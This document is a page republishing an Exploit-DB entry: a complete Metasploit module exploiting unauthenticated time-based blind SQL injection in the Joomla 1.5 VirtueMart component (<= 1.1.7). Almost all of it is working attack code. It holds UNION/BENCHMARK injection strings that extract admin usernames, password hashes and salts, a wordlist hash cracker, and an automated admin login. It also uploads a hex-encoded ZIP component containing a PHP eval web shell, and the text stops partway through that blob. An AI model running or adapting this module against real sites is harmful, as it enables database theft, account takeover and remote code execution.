Joomla! Component com_virtuemart 1.1.7/1.5 – Blind SQL Injection (Metasploit)

  • 作者: TecR0c
    日期: 2011-07-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17579/
  • # Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
    # Date: Thu Jul 28, 2011
    # Author: TecR0c - tecr0c.mythsec [@] gmail.com
    # Version: <= 1.1.7
    # Download: http://dev.virtuemart.net/projects/virtuemart/files
    # Greetz: mythsec team, James Bercega for code base for sqli blind
    
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    	
    	include Msf::Exploit::Remote::HttpClient
    	
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
    			'Description'=> %q{
    			A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
    			unauthenticated time-based blind SQL injection in the "page" variable of the 
    			virtuemart component. This vulnerability allows an attacker to gain information
    			from the database with specially crafted URLs taking advantage of the MySQL
    			benchmark. This issue was patched in version 1.1.7a.
    			},
    			'Author' =>
    				[
    					'TecR0c',#Initial discovery, msf module
    					'mr_me',#Initial discovery with TecR0c
    				],
    			'License'=>MSF_LICENSE,
    			'References' =>
    				[
    					[ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
    					[ 'URL','http://www.stratsec.net/Research/Advisories/' ],
    				],
    			'Privileged' =>false,
    			'Platform' => 'php',
    			'Arch' =>ARCH_PHP,
    			'Targets'=> [[ 'Automatic', { }]],
    			'DisclosureDate' => 'Feb 11 2011',
    			'DefaultTarget'=> 0 ))
    			
    			register_options(
    				[
    					OptString.new('JDIR', [true, 'Joomla directory', '/']),
    					OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
    					OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
    					OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
    					OptString.new('WLIST', [true, 
    								'Wordlist location',
    						 		'/home/foo/bar.txt' 
    								]),
    					OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
    					OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
    					OptString.new('JQRY', [false, 
    								'URI to trigger bug', 
    								'index.php?option=com_virtuemart&page=1' 
    								])
    				], self.class)
    	end
    	#################################################
    	# Extract "Set-Cookie"
    	def init_cookie(data, cstr = true)
    	
    		# Raw request? Or cookie data specifically?
    		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
    		
    		# Beginning
    		if ( data )
    			
    			# Break them apart
    			data = data.split(', ')
    			
    			# Initialize
    			ctmp = ''
    			tmps = {}
    			
    			# Parse cookies
    			data.each do | x |
    			
    				# Remove extra data
    				x = x.split(';')[0]
    				
    				# Seperate cookie pairs
    				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
    					
    					# Key
    					k = $1
    					
    					# Val
    					v = $2
    					
    					# Valid cookie value?
    					if ( v.length() > 0 )
    					
    						# Build cookie hash
    						tmps[k] = v
    						
    						# Report cookie status
    						print_status("Got Cookie: #{k} => #{v}");
    					end
    				end
    			end
    			
    			# Build string data
    			if ( cstr == true )
    				
    				# Loop
    				tmps.each do |x,y|
    					
    					# Cookie key/value
    					ctmp << "#{x}=#{y};"
    				end
    				
    				# Assign
    				tmps['cstr'] = ctmp
    			end
    			
    			# Return
    			return tmps
    		else
    			# Something may be wrong
    			init_debug("No cookies within the given response")
    		end
    	end
    	
    	#################################################
    	
    	# Simple debugging output
    	def init_debug(resp, exit = 0)
    	
    		# Continue execution
    		if ( exit.to_i > 0 )
    		
    			# Exit
    			exit(0)
    		end
    		
    	end
    	
    	#################################################
    	
    	# Generic post wrapper
    	def http_post(url, data, headers = {}, timeout = 15)
    	
    		# Protocol
    		proto = datastore['SSL'] ? 'https': 'http'
    		
    		# Determine request url
    		url = url.length ? url: ''
    		
    		# Determine User-Agent
    		headers['User-Agent'] = headers['User-Agent']?
    		headers['User-Agent'] : datastore['AGNT']
    		
    		# Determine Content-Type
    		headers['Content-Type'] = headers['Content-Type'] ?
    		headers['Content-Type'] : "application/x-www-form-urlencoded"
    		
    		# Determine Content-Length
    		headers['Content-Length'] = data.length
    		
    		# Determine Referer
    		headers['Referer'] = headers['Referer']?
    		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
    		
    		# Delete all the null headers
    		headers.each do | hkey, hval |
    			
    			# Null value
    			if ( !hval )
    			
    				# Delete header key
    				headers.delete(hkey)
    			end
    		end
    		
    		# Send request
    		resp = send_request_raw(
    		{
    			'uri' => datastore['JDIR'] + url,
    			'method'=> 'POST',
    			'data'=> data,
    			'headers' => headers
    		},
    		timeout	)
    			
    			
    		# Returned
    		return resp
    	
    	end
    	
    	#################################################
    	
    	# Generic post multipart wrapper
    	def http_post_multipart(url, data, headers = {}, timeout = 15)
    		
    		# Boundary string
    		bndr =Rex::Text.rand_text_alphanumeric(8)
    		
    		# Protocol
    		proto = datastore['SSL'] ? 'https': 'http'
    	
    		# Determine request url
    		url = url.length ? url: ''
    		
    		# Determine User-Agent
    		headers['User-Agent'] = headers['User-Agent']?
    		headers['User-Agent'] : datastore['AGNT']
    		
    		# Determine Content-Type
    		headers['Content-Type'] = headers['Content-Type'] ?
    		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
    		
    		# Determine Referer
    		headers['Referer'] = headers['Referer']?
    		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
    		
    		# Delete all the null headers
    		headers.each do | hkey, hval |
    		
    			# Null value
    			if ( !hval )
    			
    				# Delete header key
    				headers.delete(hkey)
    			end
    		end
    		
    		# Init
    		temp = ''
    		
    		# Parse form values
    		data.each do |name, value|
    		
    			# Hash means file data
    			if ( value.is_a?(Hash) )
    				
    				# Validate form fields
    				filename = value['filename'] ? value['filename']:
    						 init_debug("Filename value missing from #{name}", 1)
    				contents = value['contents'] ? value['contents']:
    						 init_debug("Contents value missing from #{name}", 1)
    				mimetype = value['mimetype'] ? value['mimetype']:
    						 init_debug("Mimetype value missing from #{name}", 1)
    				encoding = value['encoding'] ? value['encoding']: "Binary"
    				
    				# Build multipart data
    				temp << "--#{bndr}\r\n"
    				temp << "Content-Disposition: form-data; name=\"#{name}\"
    					; filename=\"#{filename}\"\r\n"
    				temp << "Content-Type: #{mimetype}\r\n"
    				temp << "Content-Transfer-Encoding: #{encoding}\r\n"
    				temp << "\r\n"
    				temp << "#{contents}\r\n"
    				
    			else
    				# Build multipart data
    				temp << "--#{bndr}\r\n"
    				temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
    				temp << "\r\n"
    				temp << "#{value}\r\n"
    			end
    		end
    		
    		# Complete the form data
    		temp << "--#{bndr}--\r\n"
    		
    		# Assigned
    		data = temp
    		
    		# Determine Content-Length
    		headers['Content-Length'] = data.length
    		
    		# Send request
    		resp = send_request_raw(
    		{
    			'uri' => datastore['JDIR'] + url,
    			'method'=> 'POST',
    			'data'=> data,
    			'headers' => headers
    		}, 
    		timeout)
    		
    		# Returned
    		return resp
    		
    	end
    	
    	#################################################
    	
    	# Generic get wrapper
    	def http_get(url, headers = {}, timeout = 15)
    		
    		# Protocol
    		proto = datastore['SSL'] ? 'https': 'http'
    		
    		# Determine request url
    		url = url.length ? url: ''
    		
    		# Determine User-Agent
    		headers['User-Agent'] = headers['User-Agent']?
    		headers['User-Agent'] : datastore['AGNT']
    		
    		# Determine Referer
    		headers['Referer'] = headers['Referer']? 
    		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
    		
    		# Delete all the null headers
    		headers.each do | hkey, hval |
    		
    			# Null value // Also, remove post specific data, due to a bug ...
    			if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
    			
    				# Delete header key
    				headers.delete(hkey)
    			end
    		end
    		
    		
    		# Send request
    		resp = send_request_raw({
    			'uri' => datastore['JDIR'] + url,
    			'headers' => headers,
    			'method'=> 'GET',
    		}, timeout)
    		
    		# Returned
    		return resp
    		
    	end
    	
    	#################################################
    	
    	
    	# Used to perform benchmark querys
    	def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil ) 
    	
    		# Init
    		wait = 0
    		
    		# Defaults
    		table = table ? table: 'users'
    		
    		# SQL Injection string used to trigger the MySQL BECNHMARK() function
    		sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
    +MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
    		
    		# Number of tests to run. We run this
    		# amount of tests and then look for a
    		# median value that is greater than
    		# the benchmark difference.
    		tnum = tnum ? tnum: datastore['BMRC']
    		
    		# Run the tests
    		tnum.to_i.times do | i |
    		
    			# Start time
    			bmc1 = Time.now.to_i
    			
    			# Make the request
    			
    			
    			init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
    			# End time
    			bmc2 = Time.now.to_i
    			
    			
    			# Total time
    			wait += bmc2 - bmc1
    		end
    		
    		# Return the results
    		return ( wait.to_i / tnum.to_i )
    		
    	end
    	
    	
    	#################################################
    	
    	
    	# Used to perform benchmark querys
    	def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
    	
    		# Init
    		wait = 0
    		
    		# Defaults
    		table = table ? table: 'users'
    		
    		# SQL Injection string used to trigger the MySQL BECNHMARK() function
    		sqli = (
    "'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
    		
    		# Number of tests to run. We run this
    		# amount of tests and then look for a
    		# median value that is greater than
    		# the benchmark difference.
    		tnum = tnum ? tnum: datastore['BMRC']
    		
    		# Run the tests
    		tnum.to_i.times do | i |
    		
    			# Start time
    			bmc1 = Time.now.to_i
    			
    			# Make the request
    			
    			
    			init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
    			# End time
    			bmc2 = Time.now.to_i
    			
    			
    			# Total time
    			wait += bmc2 - bmc1
    		end
    		
    		# Return the results
    		return ( wait.to_i / tnum.to_i )
    		
    	end
    	
    	
    	#################################################
    	
    	
    	def get_password(hash, salt, opts = nil)
    	
    		# Wordlist
    		wlst = datastore['WLIST']
    		
    		# Init
    		cntr = 0
    			
    		# Verbose
    		print_status("Attempting to crack admin password hash")
    		
    		# Valid hash length only
    		if ( hash.length != 32 )
    		
    			# Failure
    			print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
    			return nil
    		end
    		
    		# Does the wordlist exist?
    		if ( !File.exist?(wlst) )
    		
    			# Failure
    			print_error("Unable to load wordlist: #{wlst}")
    			return nil
    		else
    			
    			# Load the wordlist file
    			list = File.readlines(wlst)
    		end
    		
    		# Verbose
    		print_status("Loaded #{list.count.to_s} words from the specified list")
    		print_status("This may take quite some time ...")
    		
    		# Start time
    		bmc1 = Time.now.to_i
    		
    		# Loop through list
    		list.each do | word |
    		
    			# Cleanup
    			word = word.strip
    			
    			# Counter
    			cntr = cntr + 1
    			
    			# Attempt to find the plaintext password
    			if ( hash == Rex::Text.md5(word + salt) )
    			
    				# Success!
    				print_status("Successfully cracked the following hash")
    				print_status("#{hash} => #{salt} == #{word}")
    				
    				# Ended time
    				bmc2 = Time.now.to_i
    				
    				# Duration
    				bmc3 = bmc2 - bmc1
    				bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
    				
    				# Verbose
    				print_status("Operation completed in #{bmc3}")
    				
    				# Return
    				return word
    			end # if
    		end # each
    		
    		# Failure
    		print_error("Unable to crack the following hash")
    		print_error("#{hash} => #{salt} == ???")
    		
    		# Ended time
    		bmc2 = Time.now.to_i
    		
    		# Duration
    		bmc3 = bmc2 - bmc1
    		bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
    		
    		# Verbose
    		print_status("Operation completed in #{bmc3}")
    		
    		# Return
    		return nil
    	end
    	
    	#################################################
    	
    	def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)
    
    			# Start time
    			tot1 = Time.now.to_i
    			
    			# Initialize
    			reqc = 0
    			retn = String.new
    				
    			# Extract salt
    			for i in snum..slim
    			
    				# Offset position
    				oset = ( i - snum ) + 1
    	
    				# Loop charset
    				for cbit in cset
    	
    					# Test character
    					cbit.each do | cchr |
    	
    						# Start time (overall)
    						bmc1 = Time.now.to_i
    	
    						# Benchmark query
    						bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
    						hdrs,"users", sqlw, datastore['BMRC'])
    	
    						# Noticable delay? We must have a match! ;)
    						if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    	
    							# Verbose
    							print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
    	
    							# Append chr
    							retn << cchr
    	
    							# Exit loop
    							break
    						end 
    	
    						# Counter
    						reqc += 1
    	
    					end # each
    				end # for
    	
    				# Host not vulnerable?
    				if ( oset != retn.length )
    					
    					# Failure
    					print_error("Unable to extract character ##{oset.to_s}\
    					. Extraction failed!")
    					return nil
    				end
    			end # for
    	
    			# End time (total)
    			tot2 = Time.now.to_i
    	
    			# Benchmark totals
    			tot3 = tot2 - tot1
    	
    			# Verbose
    			print_status("Found data: #{retn}")
    			print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
    			
    			# Return
    			return retn
    	end
    	
    	#################################################
    	
    	def check
    
    print_status("Attempting to determine virtuemart version")
    
    resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")
    
    # Extract Joomla version information
    if ( resp.body =~ /<version>([^\s]+)<\/version>/ )
    
    # Version
    vers = $1.strip
    
    # Version "parts"
    ver1, ver2, ver3 = vers.split(/\./)
    
    # Only if version 1.1.7
    if ( ver3.to_i >= 7)
    
    # Exploit failed
    init_debug(resp)
    				print_status("Please confirm manually")
    				return Exploit::CheckCode::Safe
    else
    
    print_status("The target is running VirtueMart : #{vers}")
    				return Exploit::CheckCode::Vulnerable
    end
    else
    
    # Verbose
    print_error("Unable to determine Joomla version ...")
    end
    
    	end
    	
    	#################################################
    	def exploit
    	
    		# Numeric test string
    		tstr = Time.now.to_i.to_s
    
    		# MD5 test string
    		tmd5 = Rex::Text.md5(tstr)
    	
    		# Encoded payload
    		load = payload.encoded
    		
    		#################################################
    		# STEP 02 // Get the cookie for virtuemart :) 
    		#################################################
    
    		# request to get virtuemart cookie 
    		resp = http_get("index.php?option=com_virtuemart&page=1")
    
    		# Init cookie
    		cook = init_cookie(resp)
    
    		# Build headers for authenticated session
    		hdrs = { "Cookie" => cook['cstr'] }
    
    		#################################################
    		# STEP 03 // Calculate BENCHMARK() response times
    		#################################################
    
    		# Verbose
    		print_status("Calculating target response times")
    		print_status("Benchmarking #{datastore['BMRC']} normal requests")
    		
    
    		# Normal request median (globally accessible)
    		datastore['BMC0'] = sql_benchmark("1=2", hdrs)
    		
    		# Verbose
    		print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
    		print_status("Benchmarking #{datastore['BMRC']} delayed requests")
    
    		# Delayed request median
    		bmc1 = sql_benchmark("1=1", hdrs)
    
    		# Verbose
    		print_status("Delayed request avg: #{bmc1.to_s} seconds")
    
    		# Benchmark totals
    		bmct = bmc1 - datastore['BMC0']
    
    		# Delay too small. The host may not be
    		# vulnerable. Try increasing the BMCT.
    		if ( bmct.to_i < datastore['BMDF'].to_i )
    
    			# Verbose
    			print_error("your benchmark threshold is small, or host is not vulnerable")
    			print_error("increase the benchmark threshold adjust the value of the BMDF")
    			print_error("increase the expression iterator adjust the value of the BMCT")
    			return
    		else
    			# Host appears exploitable
    			print_status("Request Difference: #{bmct.to_s} seconds")
    		end
    
    		#################################################
    		# STEP 04 // Attempting to find a valid admin id
    		#################################################
    		
    		atot = 0 # Total admins
    		scnt = 0 # Step counter
    		step = 10# Step increment
    		slim = 10000 # Step limit
    		
    		# 42 is the hard coded base uid within Joomla ...
    		# ... and the answer to the ultimate question! ;]
    		snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
    		
    		# Verbose
    		print_status("Calculating total number of administrators")
    		
    		# Check how many admin accounts are in the database
    		for i in 0..slim do
    
    			# Benchmark 
    			bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
    			
    			# If we do not have a delay, then we have reached the end ...
    			if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
    
    				# Range
    				atot = i
    				
    				# Verbose
    				print_status("Successfully confirmed #{atot.to_s} admin accounts")
    
    				# Exit loop
    				break
    			end 
    		end
    			
    		# Loops until limit
    		while ( snum < slim && scnt < atot )
    	
    			# Verbose
    			print_status("Attempting to find a valid admin ID")
    			
    			# Verbose
    			print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
    	
    			for i in snum.step(slim, step)
    				bmcv = 0
    				
    	
    				# Benchmark
    				bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])
    
    				# Noticable delay? We must have a match! ;)
    				if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    	
    					# Range
    					itmp = i
    	
    					# Exit loop
    					break
    				else
    					
    					# Out of time ..
    					if ( i == slim )
    					
    						# Failure
    						print_error("Unable to find a valid user id. Exploit failed!")
    						return
    					end
    					
    				end 
    			end
    	
    			# Jump back by #{step} and increment by one
    			for i in ( snum ).upto(( itmp ))
    				bmcv = 0
    				auid = 0
    
    	
    				# Benchmark 
    				bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
    				datastore['BMRC'])
    	
    				# Noticable delay? We must have a match! ;)
    				if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    	
    					# UserID - first time auid gets set to 62
    					auid = i
    	
    					# Verbose
    					print_status("Found a valid admin account uid : #{auid.to_s}")
    					
    					# Step Counter
    					scnt += 1
    	
    					# Exit loop
    					break
    				else
    					
    					# Out of time ..
    					if ( i == ( itmp + step ) )
    					
    						# Failure
    						print_error("Unable to find a valid user id. Exploit failed!")
    						return
    					end
    				end 
    			end
    			
    			#################################################
    			# These are the charsets used for the enumeration
    			# operations and can be easily expanded if needed
    			#################################################
    	
    			# Hash charset a-f0-9
    			hdic = [ ('a'..'f'), ('0'..'9') ]
    	
    			# Salt charset a-zA-Z0-9
    			sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
    			
    			# Username charset
    			udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
    		
    			#################################################
    			# STEP 05 // Attempt to extract admin pass hash
    			#################################################
    	
    			# Verbose
    			print_status("Attempting to gather admin password hash")
    			
    			# Get pass hash - changed bs
    			if ( auid != 0 && !( hash = get_users_data(
    							hdrs, # Pass cookie value
    							1,# Length Start
    							32, # Length Maximum
    							hdic, # Charset Array
    							"password", # SQL Field name
    							"id=#{auid.to_s}" # SQL Where data
    							) ) )
    							
    				# Failure
    				print_error("Unable to gather admin pass hash. Exploit failed!!")
    				return
    			end
    			#################################################
    			# STEP 06 // Attempt to extract admin pass salt
    			#################################################
    			
    			# Verbose
    			print_status("Attempting to gather admin password salt")
    			
    			# Get pass salt - changed bs
    			if ( auid != 0 && !( salt = get_users_data(
    							hdrs, # Pass cookie value
    							34, # Length Start
    							65, # Length Maximum
    							sdic, # Charset Array
    							"password", # SQL Field name
    							"id=#{auid.to_s}" # SQL Where data
    							) ) )
    							
    				# Failure
    				print_error("Unable to gather admin pass salt. Exploit failed!!")
    				return
    			end
    
    			#################################################
    			# STEP 07 // Attempt to crack the extracted hash
    			#################################################
    	
    			# Attempt to crack password hash - changed bs
    			if ( auid != 0 )
    				pass = get_password(hash, salt)
    			end
    	
    			# Got pass? - changed bs
    			if ( auid != 0 && pass )
    
    				#################################################
    				# STEP 08 // Attempt to extract admin username
    				#################################################
    				
    				# Verbose
    				print_status("Attempting to determine target username length")
    				
    				# Hard limit is 150
    				for i in 1.upto(150)
    		
    					# Benchmark 
    					bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
    					"users", "id=#{auid.to_s}", datastore['BMRC'])
    		
    					# Noticable delay? We must have a match! ;)
    					if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
    		
    						# Length
    						ulen = i
    						
    						# Verbose
    						print_status("The username is #{i.to_s} characters long")
    		
    						# Exit loop
    						break
    					end 
    				end
    		
    				# Verbose
    				print_status('Gathering admin username')
    		
    				# Get pass salt
    				if ( !( user = get_users_data(
    								hdrs,# Pass cookie value
    								1, # Length Start
    								ulen, # Length Maximum
    								udic, # Charset Array
    								"username", # SQL Field name
    								"id=#{auid.to_s}" # SQL Where data
    								) ) )
    								
    					# Failure
    					print_error("Unable to gather admin user name. Exploit failed!!")
    					return
    				end
    
    				# Verbose
    				print_status("Attempting to extract a valid request token")
    				
    				# Request a valid token
    				resp = http_get("administrator/index.php")
    				
    				# Extract token
    				if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
    				
    					# Token
    					rtok = $1
    					
    					# Verbose
    					print_status("Got token: #{rtok}")
    				else
    				
    					# Failure
    					print_error("Unable to extract request token. Exploit failed!")
    					init_debug(resp)
    					return
    				end
    				
    				# Init cookie
    				cook = init_cookie(resp)
    				
    				# Build headers for authenticated session
    				hdrs = { "Cookie" => cook['cstr'] }
    				
    				#################################################
    				# STEP 09 // Attempt to authenticate as the admin
    				#################################################
    				
    				# Verbose
    				print_status("Attempting to login as: #{user}")
    				
    				# Post data for login request
    				post = "username=#{user}&passwd=#{pass}\
    				〈=&option=com_login&task=login&#{rtok}=1"
    				
    				# Login request
    				resp = http_post("administrator/index.php", post, hdrs)
    				
    				# Authentication successful???
    				if ( resp && resp.code == 303 )
    				
    					# Success
    					print_status("Successfully logged in as: #{user}")
    				else
    				
    					# Failure
    					print_error("Unable to authenticate. Exploit failed!")
    					init_debug(resp)
    					return
    				end		
    				
    				#################################################
    				# STEP 10 // Upload wrapper and execute payload!
    				#################################################
    					
    				# Verbose
    				print_status("Attempting to extract refreshed request token")
    				
    				# Request a valid token (again)
    				resp = http_get("administrator/index.php?option=com_installer",hdrs)
    				
    				# Extract token
    				if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
    				
    					# Token
    					rtok = $1
    					
    					# Verbose
    					print_status("Got token: #{rtok}")
    				else
    				
    					# Failure
    					print_error("Unable to extract request token. Exploit failed!")
    					init_debug(resp.body)
    					return
    				end
    				
    				# Component specific data
    				cstr = "joomla"
    				czip = "com_#{cstr}.zip"
    				curi = "components/com_#{cstr}/#{cstr}.php"
    
    				#################################################
    				# Our Joomla specific PHP payload wrapper that is
    				# used to have more flexibility when delivering a
    				# selected payload to a target. The wrapper is in
    				# the Joomla! 1.6 compononent format and can also
    				# be used with other Joomla exploits.
    				#################################################
    				#
    				# Type: Joomla 1.6 Component
    				# File: com_joomla/joomla.xml <-- installer file
    				# com_joomla/joomla.php <-- component file
    				#
    				# Data: <?php
    				# # Modify settings
    				# error_reporting(0);
    				# ini_set('max_execution_time', 0);
    				#
    				# # Execute the selected payload, and delete the wrapper
    				# @eval(base64_decode(file_get_contents('php://input')));
    				# ?>
    				#################################################
    				
    				# Hex encoded component zip data
    				wrap= "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
    				wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
    				wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
    				wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
    				wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
    				wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
    				wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
    				wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
    				wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
    				wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
    				wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
    				wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
    				wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
    				wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
    				wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
    				wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
    				wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
    				wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
    				wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
    				wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
    				wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
    				wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
    				wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
    				wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
    				wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
    				wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
    				wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
    				wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
    				wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
    				wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
    				wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
    				wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
    				wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
    				wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
    				wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
    				wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
    				wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
    				wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    				wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
    				wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
    				wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
    				wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
    				wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
    				wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
    				wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
    				wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
    				wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
    				wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
    				wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
